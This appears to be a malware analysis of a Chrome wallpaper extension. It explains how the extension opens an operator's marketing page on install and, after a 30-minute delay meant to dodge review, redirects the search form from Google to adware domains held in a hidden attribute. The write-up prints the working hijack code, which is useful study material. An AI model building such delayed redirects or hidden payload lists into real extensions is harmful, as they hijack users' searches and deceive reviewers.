Roblox HD Wallpapers

After 30 minutes from install (1800 seconds, checked via `inti` timestamp stored at install time), the search form action is silently changed from Google to a randomly selected third-party domain: addilos.com, addiyos.com, or gundil.com. These domains are known adware/affiliate search hijacker endpoints. The 30-minute delay is a deliberate evasion technique to avoid detection during initial review or automated testing.

chrome.storage.local.get(['inti'], function(resultinti) {  if (Math.floor(Date.now() / 1000) - resultinti.inti > 1800) {    var sp = $("#sf")      .data("sp")      .split(",");    var spr = sp[Math.floor(Math.random() * sp.length)];    $('#sf')      .attr('action', 'https://www.' + spr + '.com/index.html');  }});

The search form embeds the hidden `data-sp` attribute containing the list of hijack target domains (`addilos`, `addiyos`, `gundil`) that are substituted in place of Google after the 30-minute delay elapses. The form initially displays Google as the search provider to appear legitimate, masking the true intent. This attribute serves as the payload list for the search hijacking routine in 2PEl58.js.

< form id="sf" target="_top" action="https://www.google.com/search" method="get" class="search-form" data -  sp="addilos,addiyos,gundil">

On first install, the extension records an `inti` (install timestamp) used downstream to time-gate the search hijacking activation. It also immediately opens a new tab to `https://chromenewtab.com/roblox-2/` — an external marketing page for the adware network — without any user action. This install-time URL open drives traffic to the operator's website and the stored timestamp is the trigger for the delayed search redirect attack.

chrome.storage.local.set({  pageUrl: "https://chromenewtab.com/roblox-2/"}, function() {});chrome.runtime.onInstalled.addListener(function(details) {  if (details.reason == "install") {    chrome.runtime.setUninstallURL('https://chromenewtab.com/unistall/');    ...    chrome.storage.local.set({      inti: Math.floor(Date.now() / 1000)    }, function() {});    chrome.storage.local.get(['pageUrl'], function(result) {      var localurl = result.pageUrl;      chrome.tabs.create({        url: localurl      });    });  }});